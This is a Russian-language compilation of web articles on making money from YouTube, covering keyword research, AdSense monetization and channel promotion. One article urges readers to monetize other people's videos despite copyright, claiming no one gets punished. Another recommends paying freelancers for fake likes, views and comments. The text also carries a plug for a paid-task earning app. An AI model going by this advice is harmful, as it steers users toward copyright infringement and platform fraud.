Прежде чем свое видео выкладывать на Youtube, стоит для него подобрать ключ. Для этого можно воспользоваться любым статистическим ресурсом, например, Яндекса. Правда, понадобится свой аккаунт (своя почта) в Яндексе для того, чтобы пользоваться сервисом Яндекса.

Подбор ключевых слов:  https://wordstat.yandex.ru/

Переходим по указанной ссылке. Если ролик рассказывает, например, об особенностях ухода за яблоней, следует ввести запрос «как ухаживать за яблоней». Из полученного многообразия вариантов можно выбрать любой ключ и использовать его в заголовке видео на Ютубе, в самом видео, в его описании или комментариях к видео.

Еще один вариант продвижения своих видео – сотрудничество с владельцами других продвинутых каналов на Ютубе.

И, наконец, ради продвижения видео можно заняться саморекламой.

5. Партнерство с Google

Когда канал наберет достаточное число подписчиков и просмотров, тогда можно подать заявку на партнерство с рекламной сетью Google, которая называется Google Adsense. После ее одобрения включите монетизацию, выбрав все виды. Тогда за большое число просмотров своих роликов Вы начнете получать прибыль.

Как видно, заработать на YouTube сложно, нужно учиться и осваивать много нового, но вполне возможно.

Сколько зарабатывает канал на YouTube?

Например, за 1000 просмотров своих роликов можно получить от 1 до 5 долларов. Точную цифру назвать нельзя, она меняется в зависимости от стоимости той рекламы, которую в вашем ролике будет показывать Google.

Чем больше будет роликов, просмотров и подписчиков, тем больше возможен заработок.

Справочный центр YouTube

Если перейти в Справку Ютуба по ссылке, приведенной ниже, там подробно, с русскими(!) субтитрами рассматриваются следующие темы:

  1. Просмотр роликов
  2. Создание роликов и управление каналом
  3. Ваш аккаунт YouTube
  4. YouTube Red и платный контент
  5. Партнерская программа YouTube
  6. Некоммерческая программа YouTube
  7. Правила, безопасность, авторские права
  8. Реклама на YouTube

//support.google.com/youtube/?hl=ru#topic=

Голосуем
 Загрузка …

Также по интернет-грамотности:

Написание статей в Интернете как способ заработка

Платные опросы: плюсы и минусы

Что делать, если на планшете не воспроизводится видео?

Виды рекламы в интернете




www.inetgramotnost.ru

Как зарабатывать деньги на просмотрах в YouTube

Как зарабатывать деньги на просмотрах в YouTube? Только за 1 день на сайте просматривают более 4 миллиардов видео. За прошлый год медиа холдинг заработал на рекламе около 12 миллиардов долларов. И с каждым годом прибыль только растет. Почему бы и нам не попробовать отщипнуть небольшой кусочек от многомиллиардных денег, обращающихся там. Создать канал,  выкладывать видео и зарабатывать деньги. Причем доход получается практически постоянным — разместили видео и забыли. Денежки дальше сами будут капать на счет без вашего дальнейшего участия. У кого то больше, у кого то меньше.

Сколько зарабатывают  на канале Ютуб?

    Самые топовые видео, имеющие  сотни миллионов просмотров приносят их владельцам сотни тысяч долларов. Обычно это профессионально снятое коммерческое видео. Но это не наш уровень.

Топовые видео блогеры зарабатывают десятки тысяч долларов в месяц. Нам до этого тоже пока далеко.Так что будем рассматривать обычные перспективы заработка обычного канала.

Классификация каналов по их доходности.

1. альтруисты. Ведут свои канал и выкладывают видео исключительно в качестве хобби. Можно провести параллель с социальными сетями (Вконтакте, Фейсбук). Людям просто это нравиться и соответственно не приносит никакого дохода.

2. минималисты. Заработок не главная их цель (см. п.1), но небольшую копеечку заработать не против. Средний доход 10-50$ в месяц.

3. Работяги. Стараются заработать как можно больше. Снимают видео, возможно даже выкладывают в свой канал чужое. Но массовой популярности нет. Средний доход 100 — 300$.

4. Середнячки. Делают тоже самое что и люди из 3-й группы, но более успешно. У них более интересные (и популярные) ролики, много подписчиков. Всерьез занимаются продвижение своего канала. Как итог — уровень дохода, уже на порядок выше — около 500 — 1000$ и даже выше.

5. Известные видеоблоггеры. Занимаются продвижение канала более профессионально, регулярно выкладывают новые интересные видео. Количество подписчиков начинается от суммы с пятью нулями и постоянно растет. Растет также и их доход. Доход начинается от нескольких тысяч долларов.

6. Элита. Многомиллионные просмотры и известность в своей стране (или даже во всем мире). Даже простенькие видео за счет имени набирают громадную популярность. Добавьте к этому рекламные контракты и приглашения на различные шоу. Деньги текут в их карман рекой, поток начинается  от 50 тысяч долларов в месяц.

     Конечно на 2  последние ступени популярности (и соответственно уровня доходов) выйти очень сложно (но все-таки возможно). Но будем смотреть правде в глаза, все это потребует от вас значительной отдачи как времени, так и средств.

Ваша цель: перейти от первого уровня (или даже нулевого, если у вас еще нет канала) до 3-4.

Выйти на доход в 50-100 долларов в месяц вполне по силам всем. Ничего сложного в этом нет. Для достижения этого уровня вам потребуется месяца 2-3.

Чтобы оценить сколько может приносить прибыли ваш канал, нужно понять

из чего складывается заработок на YouTube

  • просмотр рекламы. Деньги начисляются только в том случае, если пользователь посмотрел рекламу до конца. Показ рекламы обычно размещается в начале ролика (реже в середине). Рекламу можно пропустить, нажав соответствующую ссылку, а можно заставить принудительно досмотреть до конца. Советую поосторожней использовать второй метод. Так вы можете не получить много просмотров, некоторые (в том числе и я) сразу уходят.
  • оплата за клики. Если пользователь кликнул по рекламе, то вам начисляется вознаграждение. Как правило если выполняются определенные условия. Допустим пользователь перешел по ссылке и сразу вышел, денег не ждите. Особо «дотошные» рекламодатели устанавливают целый ряд жестких условий: провести на рекламируемом сайте минимум 30 секунд, просмотр минимум 3-4 страниц сайта и т.д. Цена за клик также может варьироваться. Все зависит от тематики и от конкуренции. Допустим реклама в сфере финансов и недвижимости очень высока, рекламодателей много и чтобы разместить свою рекламу они готовы платить по наиболее повышенному «тарифу». С другой стороны возьмем например игрушки для детей. Рекламодателей не так уж и много в этой сфере, соответственно конкуренции среди них практически нет. И цена за клик будет минимальна.

Все эти действия в совокупности и определяют ваш заработок.

Для тех, кто хочет услышать более конкретные цифры, есть упрощенная формула оценить ваш доход в YouTube.

За каждые 1000 просмотров вы зарабатываете 1 доллар.

Т.е. за 50 000 просмотров вы получите 50$, за 200 000 — 200$ и т.д.

В среднем погрешность этой формулы составляет плюс-минус 20%. Но тем не менее приблизительный доход она показывает.

Так все же,

Сколько можно заработать на просмотре видео  в Ютуб?

    Если взять обычного человека, создавшего канал и не обладающего никакими специальными навыками в области создания спецэффектов, монтажа озвучки и т.п. минимальный уровень дохода около 80 — 100 долларов и выше. Можете попробовать зарабатывать на чужих видео. Конечно, это не совсем законно с точки зрения авторского права, но так делают все, и причем не один год. И никого не наказали. В крайнем случае у вас заблокирую канал на полгода — это максимум наказания.

Давайте посчитаем на примере сколько же можно заработать

Допустим вы разместили 30 видео роликов, в среднем каждый из них просматривает 30 человек в день (не так уж и много, на самом деле). Получаем 30 роликов х 30 просмотров х 30 дней в месяце = 27 000 просмотров в месяц.

    Приблизительно это 30 долларов. Вроде бы немного. Но……за год это уже 360 долларов. За один раз проделанную работу. А если просмотров будет в 10 раз больше, или видео вы выложите не 30,  а 100. Ваш доход сразу возрастет многократно (минимум в 5-10 раз). А это уже совсем другие цифры.

     Чтобы зарабатывать в месяц 100 долларов достаточно собрать 100 000 просмотров в совокупности на все ваши ролики. Если вы активно общаетесь в социальных сетях для вас вообще это будет пару пустяков. Лайкните свои видео, а дальше начнется цепная реакция, часть ваших друзей посмотрит (часть из них также лайкнет), потом друзья друзей и так далее. Да одно интересное видео может собрать столько просмотров, не говоря уже о нескольких десятках.

vse-dengy.ru

Как заработать деньги на YouTube: полное руководство

Вы заинтересованы в создании дополнительного дохода? Разбогатеть с YouTube вам вряд ли удастся, но на нем можно заработать дополнительные $ 50 – $ 100 в месяц. Вот как я это делаю!

Содержание:
Немного статистики
Эффективность объявлений, в чем же дело?
Анализ ключевых слов в YouTube
Анализ ключевых слов в YouTube, второй метод
Какое видео загружать?

Хотите заработать немного денег в интернете? Почему бы не попробовать заработать на YouTube? Чтобы заработать деньги на YouTube вам не обязательно создавать “вирусные” видео, но если вам все-таки улыбнется удача и ваше видео станет популярным, вы заработаете приличное количество денег.

Это все благодаря компаниям, которые платят за рекламу на YouTube (который принадлежит Google, для тех из вас, кто не знал).

В этой статье, я собираюсь дать вам идеи для создания видео, на которых вы можете заработать вполне реальные деньги на YouTube, а также дать вам несколько советов относительно создания вашего видео.

Я не обещаю вам золотых гор и воплощения всех ваших мечт – но если вы ищете реальный способ заработать деньги в интернете, это может быть та статья, которую вы так долго искали!

Немного статистики от вашего покорного слуги

Во-первых, давайте посмотрим на статистику нескольких моих видео. Я хочу показать вам, что я пока не зарабатываю кучу денег.

Но не стоит делать поспешные выводы из этих цифр, потому что есть ряд факторов, которые нужно принимать во внимание. Я рассмотрю эти факторы в следующем разделе. Вот статистика:

Как вы можете видеть на картинках выше, не существует такой зависимости, где Х количества трафика, гарантированно принесет вам Х количество денег. К сожалению это так не работает. Что доказать вам это, вот статистика моего видео, у которого просто ужасный доход от рекламы:

Маловато, не так ли? Я хочу дать вам почувствовать, как широко может варьироваться эффективность видео, но потенциал, безусловно есть.

Я создал калькулятор, который приблизительно покажет ваш доход, в зависимости от нескольких факторов.

Далее я хочу рассказать вам, почему эффективность так изменяется и что можно сделать, чтобы ее увеличить и начать зарабатывать деньги на YouTube.

Эффективность объявлений, в чем же дело?

Цифры статистики показывают, что количество просмотров само по себе, не является хорошим показателем того, сколько вы можете заработать.

Иными словами,  1000 посетителей автоматически не приравнивается к $ 1.00 . Причина в типах объявлений, которые показываются на вашем видео.

Например, предположим, что вы разместили видео о том, как печь печенье. Скорее всего, название вашего видео будет “как печь печенье”.

Тогда, в описании под видео, возможно, вы напишите рецепт и продукты, которые вы приобрели, чтобы сделать печенье. Можно добавить к видео теги, которые имеют отношение к выпечке, печенья-рецепты, бытовая техника и т.д

Теперь, когда кто-то смотрит ваше видео, скорее всего, он увидит объявления, связанные именно с тем, о чем вы написали в описании, заголовке и тегах: печенье, выпечка, кухонная техника и т.д.

Это существенно повысит шансы на то, что кто-то (надеюсь многие) будут нажимать на рекламные объявления вашего видео. Теперь, я собираюсь рассказать вам немного о своей теории, как повысить эффективность видео.

Всем известно, что YouTube понимает, о чем ваше видео из названия, описания, тегов, категории. Однако, я думаю, что Google использует больше факторов для определения тематики видео и показа релевантных объявлений, а именно – транскрипцию из видео (если ее можно получить из видео), место нахождения лица, которое смотрит видео, и cookies, которые есть на компьютере зрителя.

Цель Google заработать деньги и если они не будут показывать наиболее релевантные объявления для каждого отдельного человека, который смотрит видео на YouTube, то они увеличат свои шансы (и, таким образом, ваши шансы) заработать денег.

Так что я думаю, что Google смотрит не только на данные, которые пользователь сам добавил к видео, но так же использует все доступные ему технологии. Но вы в свою очередь тоже должны сделать все возможное, чтобы точно описать для Google содержание вашего видео.

Теперь мы можем перейти к следующему разделу: исследование ключевых слов. Хотя оно не является необходимостью, исследование ключевых слов может значительно увеличить шансы вашего видео быть найденным через поиск YouTube.

Анализ ключевых слов в YouTube

Прежде чем углубляться в этот раздел, позвольте мне сказать, что исследование ключевых слов, не дает никаких гарантий получения трафика, денег, просмотров, или чего-то еще.

Лично я считаю, исследования ключевых слов в первую очередь отлично подходит для поиска идей для ваших будущих видео. Я хочу показать вам, как лучше проверить идеи, которые вы придумали во время своего исследования.

Во-первых, давайте начнем с инструмента подсказки ключевых слов YouTube.

Есть два основных способа поиска ключевых слов с помощью этого инструмента: поиск по нужным словам, а также поиск по видео.

Все очень просто, скажем, вы вводите в поле поиска “выпечка печенья”, затем инструмент вернет вам ключевые слова, связанные со словосочетанием “выпечка печенья”, а также, сколько раз искали это словосочетание в месяц (это не точное число).

Второй способ позволяет ввести URL видео YouTube, которые вы хотели бы использовать, чтобы получить подсказки ключевых слов. Это отличный способ, найти ключевые слова, связанные с видео.

Как вы можете видеть на картинке для запроса “выпечка печенья” недостаточно данных, но это не обязательно означает, что никто не ищет “выпечка печенья”.

Это на самом деле прекрасный пример того, чтобы перейти к следующему этапу исследования ключевых слов, но прежде, я хотел чтобы вы посмотрели на окошко “Тип соответствия” с права на изображении выше.

Когда вы будете делать свое исследование ключевых слов, просматривайте результаты с “фразовым” или “точным” соответствием.

Если вы будете просматривать результаты по “широкому” соответствию, то вы увидите числа, на которые не стоит ориентироваться для подсчета будущего трафика.

Анализ ключевых слов в YouTube, второй метод

Выше на странице мы видим, что в подсказках YouTube словосочетание “выпечка печенья” не выдает полезных данных о количестве запросов в месяц (то есть, примерно среднее число людей, которые ищут в YouTube по этому запросу в месяц).

Однако, это не означает, что вы должны отказаться от идеи сделать видео, показывающее, как вы печете вкусное печенье по рецепту вашей бабушки!

Введите ваше ключевое слово в поиск YouTube:

Как вы можете видеть, на странице результатов поиска есть рекламные объявления, что является хорошим знаком, поскольку это значит, что есть много рекламодателей, которые платят, чтобы показывать объявления по ключевым словам, которые я использовал для поиска.

А для тех из вас, кто не знает, как устроен мир объявлений, в основном, чем больше объявлений вы видите, тем больше конкуренция. Это означает, что компании, у которых объявления показываются выше других объявлений, платят больше, чтобы их объявление показывалось в первую очередь.

Итак, если у вас есть видео на YouTube с объявлениями от одного из этих рекламодателей и если зритель щёлкнет по такому объявлению, то вы получите хороший доход.

Теперь давайте посмотрим на количество загруженного видео по данному запросу (сразу под окном поиска) – это ваши конкуренты.

Затем, посмотрите на все видео, которые появляются на первой странице результатов поиска. Сколько у них просмотров? Как давно они загружены (1 месяц, 6 месяцев, 1 год, или более)?

Ваше ключевое слово отображается в названиях или описаниях? На все эти вещи, нужно обратить внимание…  Они помогут вам понять ситуацию и принять решение, стоит ли делать видео на данную тему.

Теперь, последний шаг, поиск в кавычках.

Этот снимок экрана показывает результаты поиска, которые я получил по запросу  “выпечка печенья” в кавычках. Как вы можете видеть, общее количество видео резко сократилось, однако рекламные объявлениях остались такие же! Это хорошо, и это значит, что “выпечка печенья”точная фраза, за которую рекламодатели готовы платить.

Итак, будет ли  словосочетание “выпечка печенья” достаточно хорошим для создания видео и заработка на нем? Это решать вам!

Может быть, благодаря исследованию, вы узнали, что ключевая фраза “выпечка печенья” вам не подходит! Может быть, вы захотите использовать фразу “как испечь печенье” или похожую.

Вам может показаться, что такое исследование занимает много времени, но на самом деле, все это делается ОЧЕНЬ быстро.

 Какое видео загружать?

В первой части я показал вам некоторые статистические данные нескольких моих видео. Далее я дал вам обзор способов исследования ключевых слов на YouTube.

Но прежде, чем вы начнете этим заниматься, вам придется потратить время на размышления о видах видео, которые вы будете создавать и загружать! Вот несколько идей, чтобы ваше мышление заработало в правильном направлении:

-Обучающие видео в области, где вы считаете себя мастером или увлечены этим (гитара, домашний ремонт, выпечка и т.д.)

-Видео-обзор на интересующую вас тему (музыка, фильмы, игры, гаджеты и т.д.)

-Видео геймплея ваших любимых игр (это мое любимое)

– Персональное-видео (комедия, интеллектуальное, политическое?)

Рекомендации и советы, основанные на моем личном опыте

Получайте от процесса удовольствие: если у вас есть серьезные амбиции, сделать заработок на YouTube своим основным источником дохода, убедитесь, что вы понимаете, что нет никаких гарантий по получению просмотров или дохода.

Вы собираетесь тратить время на создание видео, его редактирование, загрузку (в том числе написание названия, описания и т.д.,). Таким образом, постарайтесь получать от процесса удовольствие.

Никто не нажимает на объявления, верно?: Нет.  Многие думают, что никто не нажимает на объявления в видеороликах.

Итак, если у вас такой менталитет, то сделайте себе одолжение и перестаньте проецировать его на всех. Это может показаться удивительным, но достаточно большое количество людей нажимают на объявления!

Но даже если никто не будет нажимать на объявления, вы все равно можете зарабатывать деньги, просто показывая свою рекламу в своем видео. Конечно доход от простого показа объявлений очень маленький, но это пассивный доход.

Не кликайте на свои объявления: не нажимайте на объявления, которые показываются на ваших собственных видео.

Это называется кликфрод и за это вы можете получить полную блокировку вашего Adsense аккаунта. Все ваши заработанные деньги будут заблокированы, и вы их никогда не получите.

Не монетизируйте чужое видео: Технически, вы не должны даже загружать видео, которые принадлежат кому-то другому.

И вам не стоит делать этого, потому что, прежде чем вы можете превратить видео в деньги на YouTube, вы должны пройти через этап проверки, на котором YouTube убедится, что ваше видео не представляет опасности для их рекламодателей.

Если вы загрузите видео нарушающее правила, ваш AdSense аккаунт будет закрыт быстрее, чем вы можете досчитать до десяти. Более подробно о правилах партнерской программы YouTube вы можете прочитать на этой странице.

Исследования, исследования, исследования: В дополнение к тому, что я уже упоминал в этой статье, есть еще несколько способов исследований.

Например, многие видео имеют открытую статистику, показывающую какие сайты посылают на них трафик! Кроме того, просматривайте комментарии и ищите вопросы, которые люди задают об интересующих их вещах.

Это отличный способ, собрать полезную для себя информацию.

Вносите поправки по мере необходимости: когда на вашем видео начнет показываться реклама, постоянно следите за тем что в ней показывается.

Если реклама не релевантна вашему видео, то, возможно, вам следует внести изменения в название, описание и / или ключевые слова.

Нет ничего плохого в таком тестировании и изменениях по мере необходимости.

О процессе подачи заявки на участие в партнерской программе YouTube вы можете прочитать в этой статье Как стать партнером Youtube

Много полезной информации и уроков для авторов желающих зарабатывать напрямую через YouTube Академия для авторов

Желаю вам удачи во всех ваших начинаниях!

zarabotaydengi.com

Как заработать на Youtube (Ютубе) канале

03.12.2019

(Оценок: 43, Среднее: 4.6 из 5)

Admin

Содержание:

Популярность видеохостингов растет с каждым днем, и людей интересует вопрос, как заработать на Ютуб канале.

Данный ресурс является самым посещаемым на планете, каждый день на нем публикуется масса клипов, роликов. Всем известно, они приносят авторам определенную прибыль.

Читателю возможно будет так же интересно узнать, как зарабатывают у нас на сервисе https://earningcash.org/.

Для получения денег здесь выполняют простые действия, в том числе просматривают ролики, проходят уровни игр, проставляют лайки, подписываются на группы, паблики.

Скачайте на смартфон приложение, чтобы зарабатывать, регистрируйтесь и копите средства на личном счете. Все, что вы делали в интернете бесплатно, теперь будете выполнять за гонорар до 200 долларов в месяц!

Никаких вложений, все прозрачно и доступно школьнику. Выплата средств производится на карту, электронный кошелек или номер телефона.

Как зарабатывать на Ютубе

Как заработать на Ютубе, имея свой канал

Получать доход от стороннего блога удается только истинным «профи». Проще завести собственный и заняться раскруткой. Необходимо зарегистрироваться в видеохостинге и согласиться на создание «творческой студии». Данный процесс понятен, доступен даже детям, не требует знаний.

Получают деньги, разрешая показ рекламы. Многие из нас просматривали видео, встречались с явлением, когда перед показом или в середине появлялись баннеры, всплывали сообщения, вставлялись презентационные ролики. На протяжении всего контента они появляются несколько раз.

Как работает схема заработка?

Например, фирма выпускает напитки, нуждается в продвижении своего товара, привлечении покупателей. Верный способ стать узнаваемой в конкретной стране – заказать рекламу в компании Google.

Что это за компания, объяснять не приходится. Она владеет самым крупным поисковиком в веб-сети, также ей принадлежит видеохостинг Ютуб. Известный IT-магнат знает, как зарабатывать деньги на Ютубе, ведь он получает за него миллиарды долларов год.

Но вот проблема: нужно показывать рекламу, где она буд

earningcash.org

Как заработать на Ютубе — методы заработка на YouTube

Согласно официальной статистике, посещаемость YouTube в 2018 году составляла более 1,8 млрд посетителей в месяц. Этим активно пользуются видеоблоггеры – люди, имеющие свой канал (а иногда и несколько), на котором зарабатывают деньги.

Содержание

В этой статье мы рассмотрим, как стать блогером и как заработать на Ютубе, что для этого необходимо, а также изучим некоторые нюансы создания и продвижения собственного YouTube-канала с нуля.

Как зарабатывать на YouTube: с чего начать

Чтобы понять, как можно заработать на Ютубе, нужно выяснить принцип функционирования этого видеохостинга.

  1. Владелец канала загружает видео.
  2. Другие пользователи сети просматривают этот материал.
  3. За каждую 1 тыс. просмотров владелец получает вознаграждение.

Итак, чтобы из обычного пользователя стать видеоблогером, нужно сделать следующее.

  • Завести гугл-аккаунт (видеохостинг принадлежит Google).
  • Перейти на YouTube и создать свой канал. Для этого нужно нажать на пиктограмму пользователя, из выпадающего списка выбрать «Мой канал» и следовать подсказкам, заполняя все предложенные поля.
  • Затем рекомендуется оформить страницу. Сделать это можно как стандартными инструментами, так и заказать профессиональное оформление, в результате у нее будет уникальный дизайн.
  • Разместить видеоролик.

Рекомендуем ознакомиться с «Условиями пользования YouTube», так как за нарушение правил, которые, кстати, довольно часто меняются, следует блокировка аккаунта.

Как и какие видео создавать

Однозначного ответа, что снимать на видео и как выбрать направленность канала, чтобы раскрутиться и заработать на Ютубе, нет.

Опытные ютуберы говорят: если делать канал о том, что не нравится или относиться к нему как к вынужденной работе, рано или поздно это занятие надоест. Вывод однозначный: надо заниматься любимым делом и снимать об этом видео. В таком случае дополнительный доход будет приятным бонусом к хобби. Рассмотрим несколько вариантов.

  • Если вы хорошо готовите, вяжете, создается поделки и тому подобное, можно снимать на эту тему мастер-классы. Эти видео пользуются хорошим спросом, поскольку наглядно показывают секреты мастерства.
  • Если вы заядлый геймер, делайте стримы или гайды по компьютерным играм. В результате найдете аудиторию, с которой будете на «одной волне».
  • Если много путешествуете, снимайте видео об интересных местах и выкладывайте их на свой Ютуб-канал, первые просмотры появятся очень быстро.
  • Многие видеоблогеры начинают зарабатывать на том, что заснимают ситуации, свидетелями которых стали. Как правило, такие видео набирают много просмотров и лайков, становятся хорошей стартовой площадкой для набора первых подписчиков.
Как снимать

Как заработать на Ютубе с нуля? Вполне достаточно начать с любительской съемки на смартфон со средней камерой. Если запись ролика проходит на улице, помните, что ветер способен сыграть злую шутку: слов может быть совсем не слышно. Также многие люди не всегда адекватно реагируют на то, что их снимают. Если вы решили стать «уличным» блогером, будьте готовы к неожиданным, а иногда и неприятным, ситуациям.

Если вы поймете, что видеоблогинг – ваше призвание, стоит обзавестись хорошей камерой и штативом для статичной съемки – ролики, снятые в хорошем качестве, вызывают больше доверия.

Для добавления на видеохостинг доступно несколько форматов видео, среди которых .avi и .mpeg. Во время заливки файла происходит автоматическая конвертация в формат .mp4.

От чего зависит заработок на YouTube

Прежде чем рассматривать вопрос «Как заработать на Ютубе, выкладывая видео?», нужно выяснить, что влияет на величину заработка. Можно выделить восемь основных факторов.

  1. Тематика канала. От нее зависит, какую рекламу вы сможете «прикрутить» к своим видео. Наиболее высокооплачиваемой считается бизнес-реклама: финансы, обучение и все, что связано с заработком в сети или офлайн. На втором месте строительство и медицина. Самая низкооплачиваемая ниша – кулинария, вязание/вышивание и другие «домашние» мастер-классы.
  2. Качество и содержание роликов. Здесь все понятно: чем полезнее видео, тем быстрее оно станет популярным и принесет больше просмотров. Поэтому снимать просто ради съемки не очень целесообразно – каждый ролик должен нести полезную информацию широкому кругу пользователей.
  3. Язык видео. Здесь стоит определиться со своей аудиторией. Многие раскрученные блогеры часто к русскоязычным видео прикладывают английские субтитры (или наоборот), чем расширяют круг зрителей.
  4. Регулярность добавления нового видео. Этот параметр влияет на поисковое продвижение, особенно на первом этапе, когда канал только создан. При этом не стоит забывать о полезности загружаемого видео: просто «накидать» роликов для количества – не самый лучший вариант.
  5. Грамотное продвижение. Чтобы о вашем созданном с нуля канале узнало как можно больше человек, потребуется время и усилия. Рекомендуется запускать рекламную компанию: упоминать о канале в соцсетях, не стесняться просить подписываться в самих видеороликах. Можно запустить платную рекламную компанию с привлечением специалистов. Неплохой вариант для тех, кто начинает – взаимодействие с другими каналами. Такое сотрудничество заключается во взаимной рекламе и рекомендациях. Это может привлечь первых подписчиков.
  6. Seo-продвижение. Этот термин подразумевает грамотное заполнение всех полей: нужно указывать релевантное (соответствующее содержанию) описание и заголовок. Например, если в ролике вы рассказываете о пользе закаливания, то называть видео «Как, не работая, срубить бабла», не стоит. Также не рекомендуется использовать вирусные заголовки типа «Срочно! Смотреть всем! Это должен знать каждый!» (если только вы не выкладываете видео какого-либо происшествия). Это считается «черным seo» и может повлечь санкции со стороны YouTube.
  7. Количество просмотров. Напрямую зависит от многих факторов, среди которых грамотное продвижение, общее число роликов на канале, продуманная рекламная компания.
  8. Способ и качество монетизации. Все вышеперечисленные факторы бесполезны, если монетизация канала не подключена. Подробнее об этом будет рассмотрено ниже.

Только комплексный подход и учет всех приведенных факторов, влияющих на размер заработка на Ютубе, дадут максимальный эффект.

Как раскрутить свой канал

Известность и число подписчиков влияют на количество просмотров и, соответственно, на заработок. Как сделать так, чтобы видеоканал стал известным и привлек внимание целевой аудитории?

Бесплатные способы

Чтобы без вложений повысить узнаваемость канала и привлечь новых подписчиков, можно использовать следующие методы.

  • Прямой или завуалированный призыв подписаться, озвученный непосредственно в ролике. Делается это обычно в конце видео, при подведении итогов. Если подойти к данному вопросу креативно, то шанс получить лайк и нового подписчика (при условии полезности видео) значительно повышается.
  • Использовать аннотации под роликом для оставления ссылок на предыдущие видео, связанные по теме.
  • Активное комментирование роликов других блогеров. Особенно это касается видео, выложенных известными каналами с большим количеством просмотров и подписчиков. Здесь стоит отметить, что комментарий нужно оставлять по теме, можно задать интересный вопрос. Возможно, на вас обратят внимание другие пользователи и перейдут на ваш канал.
  • Активно рекламируйте свой Ютуб-канал в соцсетях. Оптимальный вариант – выкладывание тематического видео на форуме или в обсуждении. Если все сделано правильно, то такой метод позволит быстро набрать просмотры и подписчиков.

Начинающим с нуля видеоблогерам будет полезно проводить совместные стримы или приглашать на съемку нового видео известных на YouTube людей. Это поможет привлечь на канал новых подписчиков.

Платные методы

Кроме бесплатных приемов, можно использовать платные техники продвижения. Рассмотрим четыре основных способа, с помощью которых можно раскрутиться при относительно небольших вложениях.

  1. Накрутка комментариев, подписок, лайков и просмотров канала через биржи фриланса. Суть этого метода проста: вы размещаете объявление с требованием посмотреть определенное видео, лайкнуть и прокомментировать его. Фрилансеры выполняют задание и получают заранее оговоренную оплату, размер которой зависит от площадки. Плюс метода – недорого, минус – приходится много времени тратить на проверку выполненных заданий. Но не стоит в день накручивать слишком много. Все должно быть естественно, иначе можно «улететь» в бан.
  2. Запуск Google Ads или покупка рекламы на других каналах. Первый метод автоматический: нужно лишь зарегистрироваться в сервисе, предоставить рекламное видео и настроить необходимые параметры. Дальше ролик будет показываться самостоятельно. При покупке рекламы на более известных каналах, договариваться с каждым владельцем придется отдельно и неизвестно, сколько они запросят за такую услугу.
  3. Проведение конкурса с ценным подарком, цель чего – набрать определенное количество лайков или подписок. Среди участников в прямом эфире разыгрывается какой-то подарок. Чем ценнее приз, тем активнее и охотнее пользователи будут участвовать в викторине. Чтобы люди узнали о событии, необходимо запустить компанию в соцсетях, что само по себе является неплохой рекламой канала.
  4. Видеопосев через специализированные сервисы, которые за фиксированную плату берут на себя вопрос размещения вашего рекламного ролика на различных тематических блогах, форумах, в социальных сетях. Преимущество таких сервисов – на них работают специалисты по раскрутке, что дает максимальный эффект и захват именно целевой аудитории.
Несколько советов

Чтобы усилия автора по раскрутке канала были потрачены не зря, нужно чтобы на нем было интересно и посетители не хотели закрыть его сразу после перехода. Для этого нужно следить за следующими моментами.

  1. Привлекательное и гармоничное оформление шапки и всей страницы целиком.
  2. Добавлять видео по принципу «лучше меньше, но качественнее и полезнее».
  3. Регулярность загрузки новых роликов.
  4. Учет интересов потенциальных и существующих подписчиков.
  5. Ответственный подход к заполнению описания и названия.

На одном канале лучше придерживаться единой манеры обращения к зрителям и не уходить от темы. Если у вас есть другие идеи, стоит задуматься о запуске дополнительных каналов.

Способы монетизации

Теперь рассмотрим основную цель создания и продвижения собственного видеоканала – его монетизацию.

Как заработать на Ютубе за просмотры своего видео

Первый и наиболее простой вариант получить реальные деньги – получать плату за просмотр на Ютубе своих видео. Здесь стоит понимать, что точных данных ни Google, ни YouTube не предоставляет: размер вознаграждения носит динамический характер и зависит многих факторов. В среднем же можно обозначить размер оплаты за 1 тыс. просмотров видео исходя из тематики контента:

  • автомобильная – от 1,5 до 5 долларов;
  • бьюти-блогинг – 1-2 доллара;
  • финансы и связанные с ними темы – от 2 до 4 долларов;
  • новости и музыка – 1-2 доллара;
  • развлечения и юмор – 1-2,5 доллара.

При этом в целом англоязычное видео оплачивается по максимальной ставке.

Как заработать на Ютубе за просмотры чужих видео

Этот метод рассматривался в разделе платных способов раскрутки своего канала. Только сейчас вы выступаете в роли фрилансера, который за небольшую оплату будет просматривать и комментировать чужие ролики.

Использование чужих видео запрещено. В случае жалобы правообладателя за несоблюдение авторских прав последует блокировка или удаление канала, а в некоторых случаях возможно даже судебное разбирательство. Использование чужого видеоматериала разрешено только при обоюдном согласии, но в этом случае вы больше рекламируете чужой видеоконтент, чем зарабатываете на этом.

Как заработать на Ютубе рекламой

Наиболее действенные методы, позволяющие заработать деньги на Ютубе – использование рекламы.

Google AdSense и реклама от YouTube

Google AdSense – один из способов заработка на рекламе для любого сайта, в том числе и на видеохостинге. Многие знают, что перед началом видеоролика, а в некоторых случаях дополнительно во время просмотра, показываются рекламные ролики от YouTube. Если их подключить с учетом Google AdSense, то они будут показываться в соответствии с запросами пользователей.

Чтобы подключить канал к монетизации, нужно набрать более 10 тыс. просмотров (в сумме по всем видео), также видеоканал не должен нарушать правила YouTube. После подачи заявки и прохождения модерации при просмотре ваших видео пользователям будут показываться рекламные ролики, за показ которых вам начисляется небольшая плата. Если пользователь кликает по рекламе и переходит по закрепленной ссылке, размер оплаты увеличивается.

Прямая реклама

Этот способ монетизации подходит для уже раскрученных каналов с высокой посещаемостью, так как у молодых Ютуб-каналов просмотров пока мало, платить за рекламу с небольшим количеством показов никто не захочет. Суть способа состоит в упоминании в роликах определенного бренда, сайта, услуги или какого-либо продукта. Контракт заключается на обозначенное время или количество видео с упоминанием рекламируемого предмета. В некоторых случаях на канале размещается отдельное видео, посвященное товару, за рекламу которого заплатили.

Другие способы заработка

Еще один вариант, как начать зарабатывать на Ютуб, – подключить партнерскую программу. Ее суть заключается в рекламировании на вашем канале сторонней продукции, услуг или товаров. От каждой сделки или продажи, произведенной после перехода из видеоблога, вам начисляется вознаграждение в размере 10-30% от суммы сделки. Партнерки бывают двух типов.

  1. Официальная от YouTube. Подключить партнерскую программу от Ютуб можно, подав заявку через раздел «Монетизация». Плюс метода – отсутствие комиссии (все вознаграждение перечисляется на ваш счет). Кроме этого, видеохостинг рекомендует контент своих официальных партнеров при просмотре других роликов. Можно сказать, это дополнительная бесплатная реклама канала. Минус у официальной партнерки один – минимальные проценты комиссионных.
  2. От сторонних медиа-сервисов – партнеров YouTube. В этом случае плюсов гораздо больше: увеличенные размеры выплат, доступ к акциям и различным мероприятиям, техподдержка, бесплатная библиотека музыки с правом использования для музыкального сопровождения своего видеоконтента. Минус сторонних партнерских программ – от размера собственного заработка придется платить комиссию, которая иногда составляет до 40%.
Продажа личных услуг или товаров

